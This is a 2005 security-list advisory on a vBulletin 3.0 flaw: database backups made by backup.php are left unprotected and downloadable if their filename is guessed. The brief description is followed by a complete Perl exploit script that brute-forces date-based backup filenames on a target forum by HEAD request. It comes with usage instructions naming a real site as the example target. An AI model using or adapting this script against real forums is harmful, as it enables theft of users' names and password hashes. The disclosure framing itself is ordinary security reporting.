[UNIX] vBulletin Information Disclosure (backup.php)

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To: list@securiteam.com
Date: 19 Sep 2005 11:07:52 +0200

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  vBulletin Information Disclosure (backup.php)
------------------------------------------------------------------------

SUMMARY

" <http://www.vbulletin.com/> vBulletin is a powerful, scalable and fully
customizable forums package for your web site." Insufficient protection by
the backup mechanism allows users to obtain SQL dumps of vBulletin.

DETAILS

Vulnerable Systems:
 * vBulletin Version 3.0

The 'backup.php' script creates a database backup file that is not
password protected and is not encrypted. If the administrator selects the
same directory as the forum for the location of the backup file, then a
remote user that can guess the filename can download the file to obtain
usernames, hashed passwords, and other information.

Exploit:
#!/usr/bin/perl
###########################################
# C R O U Z . C O M S E C U R I T Y T E A M #
###########################################
# EXPLOIT FOR: vBULLETIN All Versions Forums Backup Detector #
# #
#Expl0it By: A l p h a _ P r o g r a m m e r (Sirius) #
#Email: Alpha_Programmer@LinuxMail.ORG #
# #
#This Vuln Credited By M@FIA From Crouz Security Team #
# #
# Reference: http://securitytracker.com/alerts/2005/Aug/1014805.html #
# #
###########################################
#GR33tz T0 => mh_p0rtal -- Dr-ChephaleX -- The-CepheXin -- Djay_Agoustinno
#
# Autumn_Love6 -- Behzad185 -- No_Face_King -- M@FIA # #
# #
# IRANIAN HACKERS AND RESEARCHERS #
# Special Lamerz : Shabgard & Emperor (Two Arabic Lamerz) #
# #
###########################################

use IO::Socket;

if (@ARGV < 2)
{
  print "\n===========================\n";
  print " \n -- Exploit By Alpha Programmer(sirius) --\n\n";
  print " Crouz Security Team \n\n";
  print " Usage: <Target> <DIR>\n\n";
  print "===========================\n\n";
  print "Examples:\n\n";
  print " VbulletinBU.pl www.shabgard.org /Forums/\n\n";
  print "You Can Add The Forum Backup Folder \n(It's Default in Forum's
Root Directory) \n Example : VbulletinBU.pl www.shabgard.org
/Forums/include/ /Alpha Programmer\n\n";

  exit();
}

my $host = $ARGV[0];
my $DIR = $ARGV[1];

@Alpha = ('0' , '1' , '2' , '3' , '4' ,'5' , '6' , '7' , '8' , '9' );

foreach $licht0 ( @Alpha ) {
  foreach $licht1 ( @Alpha ) {
    foreach $licht2 ( @Alpha ) {
      foreach $licht3 ( @Alpha ) {
        foreach $licht4 ( @Alpha ) {
          $crouz = $licht1.$licht2;
          $crouz2 = $licht3.$licht4;
          $crouz3 = "200";
          $crouz3 .= $licht0;
          
          if ($crouz >= 31 ) {
            goto LightDoor;
          }

          if ($crouz2 > 12 ) {
            goto LightDoor;
          }

          if ($crouz3 > 2005 ) {
            goto LightDoor;
          }

          print "forumbackup-$crouz-$crouz2-$crouz3.sql\n";
          $Sirius = "forumbackup-$crouz2-$crouz-$crouz3.sql";

          my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr =>
$host, PeerPort => "80" );

          unless ($remote) { die "C4nn0t C0nn3ct to $host" }

          $http = "HEAD $DIR$Sirius HTTP/1.0\n";
          $http .= "Host: $host\n\r\n\r";
          print "\n";
          print $remote $http;
          sleep(1);

          while ($sirus=<$remote>)
          {
            if($sirus =~ "200 OK") {
              print "$sirus";
              print "Nice ... You Found The BackUp Of VBulletin Forum ,
See This URL :\n";
              print "$host$DIR$Sirius\n\n";
              goto start;
            }
          }
        }
        LightDoor:
      }
    }
  }
}

start:

#EoF

ADDITIONAL INFORMATION

The information has been provided by <mailto:mahdi.mafia@gmail.com> mahdi
mafia ,
 <mailto:alpha_programmer@linuxmail.org> Alpha Programmer.
The original article can be found at:
<http://securitytracker.com/alerts/2005/Aug/1014805.html>
http://securitytracker.com/alerts/2005/Aug/1014805.html

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